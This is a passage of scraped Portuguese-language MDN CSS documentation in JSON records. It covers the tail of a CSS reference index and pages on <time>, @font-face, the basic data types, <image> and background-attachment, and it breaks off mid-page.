`:focus`\n* `:focus-visible` (en-US)\n* `:focus-within`\n* `font` (en-US)\n* `font-display (@font-face)` (en-US)\n* `@font-face`\n* `font-family`\n* `font-family (@font-face)` (en-US)\n* `font-family (@font-palette-values)` (en-US)\n* `font-feature-settings`\n* `font-feature-settings (@font-face)` (en-US)\n* `@font-feature-values` (en-US)\n* `font-kerning`\n* `font-language-override` (en-US)\n* `font-optical-sizing` (en-US)\n* `font-palette` (en-US)\n* `@font-palette-values` (en-US)\n* `font-size`\n* `font-size-adjust` (en-US)\n* `font-stretch` (en-US)\n* `font-stretch (@font-face)` (en-US)\n* `font-style` (en-US)\n* `font-style (@font-face)` (en-US)\n* `font-synthesis` (en-US)\n* `font-synthesis-position` (en-US)\n* `font-synthesis-small-caps` (en-US)\n* `font-synthesis-style` (en-US)\n* `font-synthesis-weight` (en-US)\n* `font-variant` (en-US)\n* `font-variant-alternates` (en-US)\n* `font-variant-caps` (en-US)\n* `font-variant-east-asian` (en-US)\n* `font-variant-emoji` (en-US)\n* `font-variant-ligatures` (en-US)\n* `font-variant-numeric` (en-US)\n* `font-variant-position` (en-US)\n* `font-variation-settings`\n* `font-variation-settings (@font-face)` (en-US)\n* `font-weight`\n* `font-weight (@font-face)` (en-US)\n* `forced-color-adjust` (en-US)\n* `format()` (en-US)\n* `<frequency>` (en-US)\n* `<frequency-percentage>` (en-US)\n* `:fullscreen` (en-US)\n* `:future` (en-US)\n\n### G\n\n* `angle#grad` (en-US)\n* `gap`\n* `<gradient>` (en-US)\n* `::grammar-error` (en-US)\n* `grayscale()`\n* `grid`\n* `grid-area` (en-US)\n* `grid-auto-columns` (en-US)\n* `grid-auto-flow`\n* `grid-auto-rows` (en-US)\n* `grid-column` (en-US)\n* `grid-column-end` (en-US)\n* `grid-column-start` (en-US)\n* `grid-row` (en-US)\n* `grid-row-end` (en-US)\n* `grid-row-start` (en-US)\n* `grid-template` (en-US)\n* `grid-template-areas` (en-US)\n* `grid-template-columns`\n* `grid-template-rows`\n\n### H\n\n* `frequency#Hz` (en-US)\n* `hanging-punctuation` (en-US)\n* `:has` (en-US)\n* `height`\n* `@historical-forms`\n* `:host()` (en-US)\n* `:host-context()`\n* `:hover`\n* `hsl()`\n* `hsla()`\n* `hue-rotate()` (en-US)\n* `hwb()`\n* `hyphenate-character` (en-US)\n* `hyphenate-limit-chars` (en-US)\n* `hyphens`\n* `hypot()` (en-US)\n\n### I\n\n* `<ident>` (en-US)\n* `<image>`\n* `image()`\n* `image-orientation` (en-US)\n* `image-rendering` (en-US)\n* `image-resolution` (en-US)\n* `image-set()` (en-US)\n* `@import`\n* `:in-range` (en-US)\n* `:indeterminate` (en-US)\n* `inherit` (en-US)\n* `inherits (@property)` (en-US)\n* `initial`\n* `initial-letter` (en-US)\n* `initial-letter-align` (en-US)\n* `initial-value (@property)` (en-US)\n* `inline-size`\n* `input-security`\n* `inset` (en-US)\n* `inset()` (en-US)\n* `inset-block` (en-US)\n* `inset-block-end` (en-US)\n* `inset-block-start` (en-US)\n* `inset-inline` (en-US)\n* `inset-inline-end` (en-US)\n* `inset-inline-start` (en-US)\n* `<integer>` (en-US)\n* `:invalid`\n* `invert()` (en-US)\n* `:is` (en-US)\n* `isolation`\n* `length#ic` (en-US)\n* `length#in` (en-US)\n\n### J\n\n* `justify-content` (en-US)\n* `justify-items` (en-US)\n* `justify-self` (en-US)\n* `justify-tracks` (en-US)\n\n### K\n\n* `frequency#kHz` (en-US)\n* `@keyframes` (en-US)\n\n### L\n\n* `lab()`\n* `:lang` (en-US)\n* `:last-child`\n* `:last-of-type`\n* `@layer`\n* `layer()`\n* `layer() (@import)`\n* `lch()`\n* `leader()`\n* `:left` (en-US)\n* `left` (en-US)\n* `@left-bottom`\n* `<length>` (en-US)\n* `<length-percentage>` (en-US)\n* `letter-spacing`\n* `light-dark()`\n* `line-break`\n* `line-clamp`\n* `line-gap-override (@font-face)` (en-US)\n* `line-height` (en-US)\n* `line-height-step` (en-US)\n* `<line-style>` (en-US)\n* `linear-gradient()` (en-US)\n* `:link`\n* `list-style` (en-US)\n* `list-style-image` (en-US)\n* `list-style-position` (en-US)\n* `list-style-type` (en-US)\n* `local()` (en-US)\n* `:local-link` (en-US)\n* `log()` (en-US)\n\n### M\n\n* `length#mm` (en-US)\n* `margin`\n* `margin-block` (en-US)\n* `margin-block-end` (en-US)\n* `margin-block-start` (en-US)\n* `margin-bottom`\n* `margin-inline` (en-US)\n* `margin-inline-end` (en-US)\n* `margin-inline-start` (en-US)\n* `margin-left` (en-US)\n* `margin-right` (en-US)\n* `margin-top`\n* `margin-trim` (en-US)\n* `::marker` (en-US)\n* `marks (@page)`\n* `mask`\n* `mask-border` (en-US)\n* `mask-border-mode` (en-US)\n* `mask-border-outset` (en-US)\n* `mask-border-repeat` (en-US)\n* `mask-border-slice` (en-US)\n* `mask-border-source` (en-US)\n* `mask-border-width` (en-US)\n* `mask-clip` (en-US)\n* `mask-composite` (en-US)\n* `mask-image` (en-US)\n* `mask-mode` (en-US)\n* `mask-origin` (en-US)\n* `mask-position` (en-US)\n* `mask-repeat` (en-US)\n* `mask-size` (en-US)\n* `mask-type` (en-US)\n* `masonry-auto-flow` (en-US)\n* `math-depth` (en-US)\n* `math-shift` (en-US)\n* `math-style` (en-US)\n* `matrix()` (en-US)\n* `matrix3d()` (en-US)\n* `max()` (en-US)\n* `max-block-size` (en-US)\n* `max-height` (en-US)\n* `max-inline-size` (en-US)\n* `max-lines`\n* `max-width`\n* `@media` (en-US)\n* `min()` (en-US)\n* `min-block-size` (en-US)\n* `min-height`\n* `min-inline-size` (en-US)\n* `min-width` (en-US)\n* `minmax()` (en-US)\n* `mix-blend-mode`\n* `mod()` (en-US)\n* `time#ms`\n\n### N\n\n* `@namespace` (en-US)\n* `negative (@counter-style)` (en-US)\n* `:not`\n* `:nth-child`\n* `:nth-last-child`\n* `:nth-last-of-type` (en-US)\n* `:nth-of-type`\n* `<number>`\n\n### O\n\n* `object-fit`\n* `object-position` (en-US)\n* `offset`\n* `offset-anchor` (en-US)\n* `offset-distance` (en-US)\n* `offset-path` (en-US)\n* `offset-position` (en-US)\n* `offset-rotate` (en-US)\n* `:only-child`\n* `:only-of-type`\n* `opacity`\n* `opacity()`\n* `:optional`\n* `order` (en-US)\n* `@ornaments` (en-US)\n* `orphans` (en-US)\n* `:out-of-range`\n* `outline`\n* `outline-color` (en-US)\n* `outline-offset` (en-US)\n* `outline-style` (en-US)\n* `outline-width` (en-US)\n* `<overflow>`\n* `overflow-anchor` (en-US)\n* `overflow-block` (en-US)\n* `overflow-clip-margin` (en-US)\n* `overflow-inline` (en-US)\n* `overflow-wrap`\n* `overflow-x` (en-US)\n* `overflow-y` (en-US)\n* `overlay` (en-US)\n* `override-colors (@font-palette-values)` (en-US)\n* `overscroll-behavior` (en-US)\n* `overscroll-behavior-block` (en-US)\n* `overscroll-behavior-inline` (en-US)\n* `overscroll-behavior-x` (en-US)\n* `overscroll-behavior-y` (en-US)\n\n### P\n\n* `Pseudo-classes`\n* `Pseudo-elements`\n* `length#pc` (en-US)\n* `length#pt` (en-US)\n* `length#px` (en-US)\n* `pad (@counter-style)` (en-US)\n* `padding`\n* `padding-block` (en-US)\n* `padding-block-end` (en-US)\n* `padding-block-start` (en-US)\n* `padding-bottom` (en-US)\n* `padding-inline` (en-US)\n* `padding-inline-end` (en-US)\n* `padding-inline-start` (en-US)\n* `padding-left`\n* `padding-right` (en-US)\n* `padding-top` (en-US)\n* `@page`\n* `page` (en-US)\n* `page-break-after` (en-US)\n* `page-break-before`\n* `page-break-inside` (en-US)\n* `page-orientation (@page)` (en-US)\n* `paint()` (en-US)\n* `paint-order` (en-US)\n* `::part` (en-US)\n* `:past` (en-US)\n* `path()` (en-US)\n* `:paused` (en-US)\n* `<percentage>` (en-US)\n* `perspective` (en-US)\n* `perspective()`\n* `perspective-origin` (en-US)\n* `:picture-in-picture` (en-US)\n* `place-content` (en-US)\n* `place-items` (en-US)\n* `place-self` (en-US)\n* `::placeholder` (en-US)\n* `:placeholder-shown` (en-US)\n* `:playing` (en-US)\n* `pointer-events`\n* `polygon()` (en-US)\n* `<position>` (en-US)\n* `position`\n* `pow()` (en-US)\n* `prefix (@counter-style)` (en-US)\n* `print-color-adjust` (en-US)\n* `@property` (en-US)\n\n### Q\n\n* `length#Q` (en-US)\n* `quotes` (en-US)\n\n### R\n\n* `angle#rad` (en-US)\n* `length#rem` (en-US)\n* `radial-gradient()` (en-US)\n* `range (@counter-style)` (en-US)\n* `<ratio>` (en-US)\n* `ray()` (en-US)\n* `:read-only` (en-US)\n* `:read-write`\n* `rect()` (en-US)\n* `rem()` (en-US)\n* `repeat()` (en-US)\n* `repeating-conic-gradient()` (en-US)\n* `repeating-linear-gradient()` (en-US)\n* `repeating-radial-gradient()` (en-US)\n* `:required`\n* `resize` (en-US)\n* `<resolution>` (en-US)\n* `reversed()`\n* `revert` (en-US)\n* `rgb()`\n* `rgba()`\n* `:right` (en-US)\n* `right` (en-US)\n* `@right-bottom`\n* `:root`\n* `rotate` (en-US)\n* `rotate()`\n* `rotate3d()`\n* `rotateX()` (en-US)\n* `rotateY()` (en-US)\n* `rotateZ()` (en-US)\n* `round()` (en-US)\n* `row-gap` (en-US)\n* `ruby-align`\n* `ruby-merge`\n* `ruby-position` (en-US)\n\n### S\n\n* `saturate()` (en-US)\n* `scale` (en-US)\n* `scale()`\n* `scale3d()` (en-US)\n* `scaleX()` (en-US)\n* `scaleY()` (en-US)\n* `scaleZ()` (en-US)\n* `:scope` (en-US)\n* `@scope` (en-US)\n* `scroll()` (en-US)\n* `scroll-behavior`\n* `scroll-margin` (en-US)\n* `scroll-margin-block` (en-US)\n* `scroll-margin-block-end` (en-US)\n* `scroll-margin-block-start` (en-US)\n* `scroll-margin-bottom` (en-US)\n* `scroll-margin-inline` (en-US)\n* `scroll-margin-inline-end` (en-US)\n* `scroll-margin-inline-start` (en-US)\n* `scroll-margin-left` (en-US)\n* `scroll-margin-right` (en-US)\n* `scroll-margin-top` (en-US)\n* `scroll-padding` (en-US)\n* `scroll-padding-block` (en-US)\n* `scroll-padding-block-end` (en-US)\n* `scroll-padding-block-start` (en-US)\n* `scroll-padding-bottom` (en-US)\n* `scroll-padding-inline` (en-US)\n* `scroll-padding-inline-end` (en-US)\n* `scroll-padding-inline-start` (en-US)\n* `scroll-padding-left` (en-US)\n* `scroll-padding-right` (en-US)\n* `scroll-padding-top` (en-US)\n* `scroll-snap-align` (en-US)\n* `scroll-snap-stop` (en-US)\n* `scroll-snap-type` (en-US)\n* `scroll-timeline` (en-US)\n* `scroll-timeline-axis` (en-US)\n* `scroll-timeline-name` (en-US)\n* `scrollbar-color`\n* `scrollbar-gutter` (en-US)\n* `scrollbar-width` (en-US)\n* `::selection`\n* `selector()`\n* `sepia()`\n* `<shape>` (en-US)\n* `shape-image-threshold` (en-US)\n* `shape-margin` (en-US)\n* `shape-outside` (en-US)\n* `sign()` (en-US)\n* `sin()` (en-US)\n* `size (@page)` (en-US)\n* `size-adjust (@font-face)` (en-US)\n* `skew()` (en-US)\n* `skewX()` (en-US)\n* `skewY()` (en-US)\n* `::slotted` (en-US)\n* `speak-as (@counter-style)` (en-US)\n* `::spelling-error` (en-US)\n* `sqrt()` (en-US)\n* `src (@font-face)` (en-US)\n* `@starting-style` (en-US)\n* `steps()` (en-US)\n* `<string>` (en-US)\n* `@styleset` (en-US)\n* `@stylistic` (en-US)\n* `suffix (@counter-style)` (en-US)\n* `@supports` (en-US)\n* `supports() (@import)`\n* `@swash` (en-US)\n* `symbols (@counter-style)` (en-US)\n* `symbols()` (en-US)\n* `syntax (@property)` (en-US)\n* `system (@counter-style)` (en-US)\n* `time#s`\n\n### T\n\n* `angle#turn` (en-US)\n* `tab-size` (en-US)\n* `table-layout` (en-US)\n* `tan()` (en-US)\n* `:target`\n* `target-counter()`\n* `target-counters()`\n* `::target-text` (en-US)\n* `target-text()`\n* `:target-within` (en-US)\n* `text-align`\n* `text-align-last` (en-US)\n* `text-combine-upright` (en-US)\n* `text-decoration`\n* `text-decoration-color` (en-US)\n* `text-decoration-line` (en-US)\n* `text-decoration-skip` (en-US)\n* `text-decoration-skip-ink` (en-US)\n* `text-decoration-style`\n* `text-decoration-thickness` (en-US)\n* `text-emphasis` (en-US)\n* `text-emphasis-color` (en-US)\n* `text-emphasis-position` (en-US)\n* `text-emphasis-style` (en-US)\n* `text-indent` (en-US)\n* `text-justify` (en-US)\n* `text-orientation` (en-US)\n* `text-overflow`\n* `text-rendering`\n* `text-shadow`\n* `text-size-adjust` (en-US)\n* `text-transform`\n* `text-underline-offset` (en-US)\n* `text-underline-position` (en-US)\n* `text-wrap` (en-US)\n* `<time>`\n* `<time-percentage>` (en-US)\n* `timeline-scope` (en-US)\n* `top` (en-US)\n* `@top-center`\n* `touch-action` (en-US)\n* `transform`\n* `transform-box` (en-US)\n* `<transform-function>` (en-US)\n* `transform-origin`\n* `transform-style`\n* `transition`\n* `transition-behavior` (en-US)\n* `transition-delay`\n* `transition-duration` (en-US)\n* `transition-property` (en-US)\n* `transition-timing-function`\n* `translate`\n* `translate()`\n* `translate3d()` (en-US)\n* `translateX()` (en-US)\n* `translateY()` (en-US)\n* `translateZ()` (en-US)\n* `type()`\n\n### U\n\n* `unicode-bidi` (en-US)\n* `unicode-range (@font-face)` (en-US)\n* `unset` (en-US)\n* `<url>` (en-US)\n* `url()` (en-US)\n* `:user-invalid` (en-US)\n* `user-select` (en-US)\n* `:user-valid` (en-US)\n\n### V\n\n* `length#vh` (en-US)\n* `length#vmax` (en-US)\n* `length#vmin` (en-US)\n* `length#vw` (en-US)\n* `:valid`\n* `var()`\n* `vertical-align`\n* `view()`\n* `view-timeline` (en-US)\n* `view-timeline-axis` (en-US)\n* `view-timeline-inset` (en-US)\n* `view-timeline-name` (en-US)\n* `::view-transition` (en-US)\n* `::view-transition-group` (en-US)\n* `::view-transition-image-pair` (en-US)\n* `view-transition-name` (en-US)\n* `::view-transition-new` (en-US)\n* `::view-transition-old` (en-US)\n* `visibility`\n* `:visited`\n\n### W\n\n* `:where` (en-US)\n* `white-space`\n* `white-space-collapse` (en-US)\n* `widows` (en-US)\n* `width`\n* `will-change`\n* `word-break`\n* `word-spacing` (en-US)\n* `word-wrap`\n* `writing-mode`\n\n### X\n\n* `resolution#x` (en-US)\n\n### Z\n\n* `z-index` (en-US)\n\n### Others\n\n* `--*`\n\nSeletores\n---------\n\n* Seletores básicos\n    + Seletores de tipo `elementname`\n    + Seletores de classe `.classname`\n    + Seletores de ID `#idname`\n    + Seletores universais `* ns|* *|*`\n    + Seletores de atributo\n        - `[attribute]`\n        - `[attribute=\"value\"]`\n        - `[attribute~=\"value\"]`\n        - `[attribute|=\"value\"]`\n        - `[attribute^=\"value\"]`\n        - `[attribute$=\"value\"]`\n        - `[attribute*=\"value\"]`\n        - `[ns|attribute]`\n* Combinadores\n    + Combinadores equivalentes adjacentes `A + B`\n    + Combinadores equivalentes gerais `A ~ B`\n    + Combinadores filhos `A > B`\n    + Combinadores descendentes `A B`\n* Pseudo-elementos\n* Pseudo-classes\nMiscelânea\n----------\n\n* `Comments` (en-US)\n* Consultas de mídias\n* Contadores\n* Gradientes\n* Transformações\nConceitos\n---------\n\n* Sintaxe do CSS\n* Regra At\n* Comentários\n* Especificidade\n* Valor inicial\n* Herança\n* Valor especificado\n* Valor computado\n* Valor usado\n* Valor corrente\n* Modelo de caixa"}
{"title":"<time> - CSS","text":"<time>\n======\n\nO tipo de dado CSS **`<time>`** representa um valor de tempo expresso em segundo ou milissegundos. É usado em animações( `animation` ), transições( `transition` ) e propriedades relacionadas.\n\nSintaxe\n-------\n\nO tipo dado `<time>` consiste de um elemento `<number>` seguido por uma das unidades listadas abaixo. Opcionalmente, pode ser precedido por um sinal de `+` ou `-`. Como em todas as dimensões, não há espaço entre uma unidade literal e o número.\n\n**Nota:** Embora o número `0` seja sempre o mesmo, independente da unidade, essa última não pode ser omitida. Em outras palavras, `0` é invalido e não representa `0s` ou `0ms`.\n\n### Unidades\n\n**`s`**\n\nRepresenta um tempo em segundos. Exemplos: `0s`, `1.5s`, `-60s`.\n\n**`ms`**\n\nRepresenta um tempo em milissegundos. Exemplos: `0ms`, `150.25ms`, `-60000ms`.\n\n\n**Nota:** A conversão entre `s` e `ms` segue a proporção `1s = 1000ms`.\n\nExemplos\n--------\n\n### Unidades de Tempo Válidas\n```\n\n12s         Inteiro Positivo\n-456ms      Inteiro Negativo\n4.3ms       Decimal\n14mS        A unidade é case-insentive, embora letras iniciais maiúsculas (capital letters) não sejam recomendadas.\n+0s         Zero com um + no inicio e uma unidade\n-0ms        Zero com um - no inicio e uma unidade\n```\n\n### Unidades de Tempo Inválidas\n```\n\n0           Embora seja permitido o uso do zero sem unidade de medida por <length>s é invalido para <time>s.\n12.0        Este é um <number>, não um <time>, pois está faltando a unidade de medida.\n7 ms        Não é permitido espaço entre o número e a unidade de medida.\n```\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| CSS Values and Units Module Level 4 # time |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"@font-face - CSS","text":"@font-face\n==========\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since September 2016.\n\n* Learn more\n* See full compatibility\n* Report feedback\nO **`@font-face`** CSS at-rule especifica uma fonte customizada com a qual exibe o texto; a fonte pode ser carregada de um servidor remoto ou de uma fonte instalada localmente no computador do usuário.\n\nSe a função `local()` for fornecida, a especificação do nome da fonte a ser procurada no computador do usuário, e a user agent (en-US) encontrar uma correspondência, essa fonte local será usada. Caso contrário, o recurso de fonte especificado usando a função `url()` é baixado e usado.\n\nAo permitir que os autores forneçam suas próprias fontes, `@font-face` torna possível projetar conteúdo sem se limitar às chamadas fontes \"seguras para a web\" (ou seja, as fontes que são tão comuns que são consideradas como universalmente disponível). A capacidade de especificar o nome de uma fonte instalada localmente a ser procurada e usada permite personalizar a fonte além do básico, ao mesmo tempo em que é possível fazê-lo sem depender de uma conexão com a Internet.\n\nÉ comum usar `url()` e `local()` juntos, para que a cópia instalada da fonte do usuário seja usada, se disponível, voltando ao download de uma cópia da fonte, caso ela não seja encontrada no dispositivo do usuário.\n\nA regra de CSS `@font-face` pode ser usada não apenas no nível superior de um CSS, mas também dentro de qualquer CSS conditional-group at-rule.\n\n\n```css\n@font-face {\n  font-family: \"Open Sans\";\n  src:\n    url(\"/fonts/OpenSans-Regular-webfont.woff2\") format(\"woff2\"),\n    url(\"/fonts/OpenSans-Regular-webfont.woff\") format(\"woff\");\n}\n```\n\nSintaxe\n-------\n\n### Descritores\n\n`font-display` (en-US)\n\nDetermina como uma fonte é exibida, com base em se e quando é baixada e pronta para uso.\n\n`font-family` (en-US)\n\nEspecifica um nome que será usado como o valor nominal da fonte para as propriedades da fonte.\n\n`font-stretch` (en-US)\n\nUm valor `font-stretch` (en-US). Desde o Firefox 61 (e em outros navegadores modernos), isso também aceita dois valores para especificar um intervalo suportado por uma fonte, por exemplo, extensão de fonte: `font-stretch: 50% 200%;`\n\n`font-style` (en-US)\n\nUm valor `font-style` (en-US). Desde o Firefox 61 (e em outros navegadores modernos), isso também aceita dois valores para especificar um intervalo suportado por uma fonte, por exemplo `font-style: oblique 20deg 50deg;`\n\n`font-weight` (en-US)\n\nUm valor de `font-weight`. Desde o Firefox 61 (e em outros navegadores modernos), isso também aceita dois valores para especificar um intervalo suportado por uma fonte, por exemplo `font-weight: 100 400;`\n\n`font-variant` (en-US)\n\nUm valor `font-variant` (en-US).\n\n`font-feature-settings`\n\nPermite o controle sobre recursos tipográficos avançados em fontes OpenType.\n\n`font-variation-settings` (en-US)\n\nPermite o controle de baixo nível sobre as variações de fonte OpenType ou TrueType, especificando os nomes dos quatro eixos das letras dos recursos para variar, juntamente com seus valores de variação.\n\n`src` (en-US)\n\nEspecifica o recurso que contém os dados da fonte. Pode ser um URL para um local de arquivo de fonte remota ou o nome de uma fonte no computador do usuário.\n\nPara fornecer ao navegador uma dica sobre o formato de um recurso de fonte - para que ele possa selecionar um adequado - é possível incluir um tipo de formato dentro de uma função `format()`:\n\n\n```css\nsrc:\n  url(ideal-sans-serif.woff) format(\"woff\"),\n  url(basic-sans-serif.ttf) format(\"truetype\");\n```\n\n\nOs tipos disponíveis são: `\"woff\"`, `\"woff2\"`, `\"truetype\"`, `\"opentype\"`, `\"embedded-opentype\"`, e `\"svg\"`.\n\n`unicode-range` (en-US)\n\nO intervalo de pontos de código Unicode a serem usados na fonte.\n\n### Sintaxe formal\n```\n\n@font-face =   \n  @font-face { <declaration-list> }    \n  \n```\n\nExemplos\n--------\n\nEste exemplo simplesmente especifica uma fonte para download a ser usada, aplicando-a a todo o corpo do documento:\n\nVeja este exemplo\n\n\n```css\n@font-face {\n  font-family: \"Bitstream Vera Serif Bold\";\n  src: url(\"https://mdn.github.io/css-examples/web-fonts/VeraSeBd.ttf\");\n}\n\np {\n  font-family: \"Bitstream Vera Serif Bold\", serif;\n}\n```\n\n\n\n```html\n<p>This is Bitstream Vera Serif Bold.</p>\n```\n\n\nNeste exemplo, a cópia local do usuário \"Helvetica Neue Bold\" é usada; se o usuário não tiver essa fonte instalada (dois nomes diferentes são tentados), a fonte para download denominada \"MgOpenModernaBold.ttf\" será usada:\n\n\n```css\n@font-face {\n  font-family: MyHelvetica;\n  src: local(\"Helvetica Neue Bold\"), local(\"HelveticaNeue-Bold\"),\n    url(MgOpenModernaBold.ttf);\n  font-weight: bold;\n}\n```\n\nFont MIME Types\n---------------\n\n| Formato | MIME type |\n| --- | --- |\n| TrueType | `font/ttf` |\n| OpenType | `font/otf` |\n| Web Open File Format | `font/woff` |\n| Web Open File Format 2 | `font/woff2` |\n\nNotes\n-----\n\n* As fontes da Web estão sujeitas à mesma restrição de domínio (os arquivos de fonte devem estar no mesmo domínio da página que os utiliza), a menos que os Controles de Acessos HTTP (en-US) sejam usados para relaxar essa restrição.\n* `@font-face` não pode ser declarado dentro de um seletor CSS. Por exemplo, o seguinte não funcionará:\n\n```css\n.className {\n  @font-face {\n    font-family: MyHelvetica;\n    src: local(\"Helvetica Neue Bold\"), local(\"HelveticaNeue-Bold\"),\n      url(MgOpenModernaBold.ttf);\n    font-weight: bold;\n  }\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Fonts Module Level 4 # font-face-rule |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* About WOFF (en-US)\n* Everythingfonts font-face generator\n* FontSquirrel @font-face generator\n* Beautiful fonts with @font-face\n* Open Font Library\n* When can I use WOFF?\n* When can I use SVG Fonts?\n* Free Fancy Cool Fonts"}
{"title":"Tipos básicos de dados CSS - CSS","text":"Tipos básicos de dados CSS\n==========================\n\n**Tipos básicos de dados CSS** definem valores típicos (incluindo palavras chaves e unidades) aceitos pelas propriedades e funções do CSS. Eles são um tipo especial de tipo de valor do componente.\n\nNa sintaxe formal, os tipos de dados são indicados pela palavra chave aplicada entre os sinais de desigualdade \"<\" e \">\".\n\nReferência\n----------\n\n* `<angle>` (en-US)\n* `<basic-shape>` (en-US)\n* `<blend-mode>`\n* `<color>`\n* `<custom-ident>` (en-US)\n* `<filter-function>` (en-US)\n* `<flex>` (en-US)\n* `<frequency>` (en-US)\n* `<gradient>` (en-US)\n* `<image>`\n* `<integer>` (en-US)\n* `<length>` (en-US)\n* `<number>`\n* `<percentage>` (en-US)\n* `<position>` (en-US)\n* `<ratio>` (en-US)\n* `<resolution>` (en-US)\n* `<shape-box>` (en-US)\n* `<single-transition-timing-function>` (en-US)\n* `<string>` (en-US)\n* `<time>`\n* `<transform-function>` (en-US)\n* `<url>()` (en-US)\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Values and Units Module Level 4  |"}
{"title":"<image> - CSS","text":"<image>\n=======\n\nO tipo de data CSS **`<image>`** representa uma imagem bi-dimensional. Existem dois tipos de imagens: imagens planas, referenciada por um `<url>()` (en-US), e imagens geradas dinamicamente, geradas por `<gradient>` (en-US) ou `element()`. Imagens podem ser usadas em inumeras propriedades CSS, como `background-image` (en-US), `border-image` (en-US), `content`, `cursor`, e `list-style-image` (en-US).\n\nTipos de imagens\n----------------\n\nCSS pode lidar com os seguintes tipos de imagens:\n\n* Imagens com *dimensões intrínsecas* (tamanho natural), tipo um JPEG, PNG, ou outro formato rasterizado.\n* Imagens com *multiplas dimensões intrínsecas,* existente em várias versões dentro de um único arquivo, como alguns formatos .ico. (Nesse caso, a dimensões intrínsecas serão a largura da imagem na área e a proporção mais semelhante à caixa contendo.)\n* Imagens sem dimensões intrínsecas mas com um aspecto intrínseco entre a largura e altura, como um SVG ou outro vetor.\n* Imagens com nenhuma dimensões intrínsecas, e nenhuma relação de aspecto intrínseco como um gradiente CSS.\n\nCCS determina um tamanho concreto do objeto usando (1) *suas dimensões intrínsecas;* (2) *seu tamanho especificado,* definido por propriedades CSS como `width`, `height`, ou `background-size`; e (3) *é o tamanho padrão,* determinado pelo tipo de propriedade em que a imagem é usada:\n\n| Tipo de objeto | Tamanho do objeto padrão |\n| --- | --- |\n| `background-image` (en-US) | O tamanho da área de posicionamento do fundo do elemento. |\n| `list-style-image` (en-US) | O tamanho de um carácter `1em` |\n| `border-image` (en-US) | O tamanho da área da imagem da borda do elemento |\n| `cursor` | O tamanho definido pelo navegador correspondente ao tamanho normal do cursor no sistema do cliente |\n| `border-image-source` (en-US) | ? |\n| `mask-image` (en-US) | ? |\n| `shape-outside` (en-US) | ? |\n| `mask-border-source` (en-US) | ? |\n| Substituí o conteúdo, como quando combinando `content` com um pseudo-elemento (`::after` ou `::before`) | Um 300px × 150px retângulo |\n\nO tamanho do objeto concreto é calculado usando o seguinte algoritimo:\n\n* Se o tamanho especificado define *tanto a largura quanto a altura,* esses valores serão usado no tamanho concreto do objeto.\n* Se o tamanho especificado define apenas a largura ou a altura, o valor que falta é determind se o valor espeficiado ado usando a relação intrínseca, se existir algum, as dimensões intrínsecas se o valoer espeficicado combinar, ou o tamanho do objeto padrão para esse valor ausente.\n* Se o tamanho especificado define nem largura ou altura, o tamanho concreto é calculado de modo que corresponda à proporção intrínseca da imagem mas sem exceder o tamanho padrão do objeto em qualquer dimensão. Se a imagem não tiver relação de aspecto intrínseco, o relação de aspecto intrínseco do objeto é aplicado para ser usado; se esse objeto for vazio, a largura ou altura que faltam são retirados do tamanho de objeto padrão.\n\n**Nota:** Não são todos os navegadores que suportam cada tipo de imagem em cada propriedade. Veja a seção compatibilidade dos navegadores para mais detalhes.\n\nSintaxe\n-------\n\nO tipo de data `<image>` pode ser representado por qualquer item seguinte:\n\n* Uma imagem denotada pelo tipo de data `<url>()` (en-US)\n* Um tipo de data `<gradient>` (en-US)\n* Uma parte da página web, definida pela função `element()`\nExemplos\n--------\n\n### Imagens válidas\n```\n\nurl(test.jpg)               /* Uma <url>, enquanto test.jpg é uma imagem real */\nlinear-gradient(blue, red)  /* Um <gradient> */\nelement(#realid)            /* Uma parte da página web, referenciada por uma função element() se \"realid\" for um ID existente na página */\n```\n\n### Imagens inválidas\n```\n\ncervin.jpg        /* Um arquivo imagem deve ser definido usando a função url(). */\nurl(report.pdf)   /* Um arquivo apontado pela função url() deve ser uma imagem. */\nelement(#fakeid)  /* Um elemento ID deve ser um ID existente na página. */\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Images Module Level 3 # image-values |\n\nCompatibilidade do navegador\n----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<gradient>` (en-US)\n* `element()`"}
{"title":"background-attachment - CSS","text":"background-attachment\n=====================\n\nResumo\n------\n\nSe um `background-image` (en-US) é especificado, a propriedade CSS **`background-attachment`** determina se aquela posição da imagem é fixa com o viewport, ou se irá rolar juntamente com o seu bloco.\n\n|  |  |\n| --- | --- |\n| Initial value | `scroll` |\n| Aplica-se a | all elements. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | discrete |\n\nSintaxe\n-------\n\n\n```css\nbackground-attachment: scroll;\nbackground-attachment: fixed;\nbackground-attachment: local;\n\nbackground-attachment: inherit;\n```\n\n### Valores\n\n`fixed`\n\nEssa chave significa que o background é fixo em relação ao viewport. Mesmo que um elemento tenha um mecanismo de rolar, o background 'fixed' não movimenta com o elemento.\n\n`local`\n\nEssa chave significa que o background é fixo em relação ao conteúdo do elemento: ise ele tem um mecanismo de rolar, o background rola com o conteúdo do elemento, e a área pintada e o posicionamento do background são relativos à área de rolagem do elemento ao invés da borda de fronteira deles.\n\n`scroll`\n\nEssa chave significa que o background é fixo em relação ao elemento em si e não rola com seu conteúdo. (É efetivamente ligado à borda do elemento.)\n\n### Formal syntax\n```\n\nbackground-attachment =   \n  <attachment># (en-US)    \n  \n<attachment> =   \n  scroll  | (en-US)  \n  fixed   | (en-US)  \n  local     \n  \n```\n\nExemplos\n--------\n\n### Exemplo simpes\n\n#### CSS\n\n\n```css\np {\n  background-image: url(\"starsolid.gif\");\n  background-attachment: fixed;\n}\n```\n\n\n#### HTML\n\n\n```html\n<p>\n  There were doors all round the hall, but they were all locked; and when Alice\n  had been all the way down one side and up the other, trying every door, she\n  walked sadly down the middle, wondering how she was ever to get out again.\n</p>\n```\n\n\n#### Resultado\n\n### Suporte de múltiplas imagem de background\n\nEssa propriedade suporta múltiplas imagens de background. Você pode especificar `<attachment>` para cada background, separado por vírgulas. Cada imagem é combinada com o correspondente tipo de 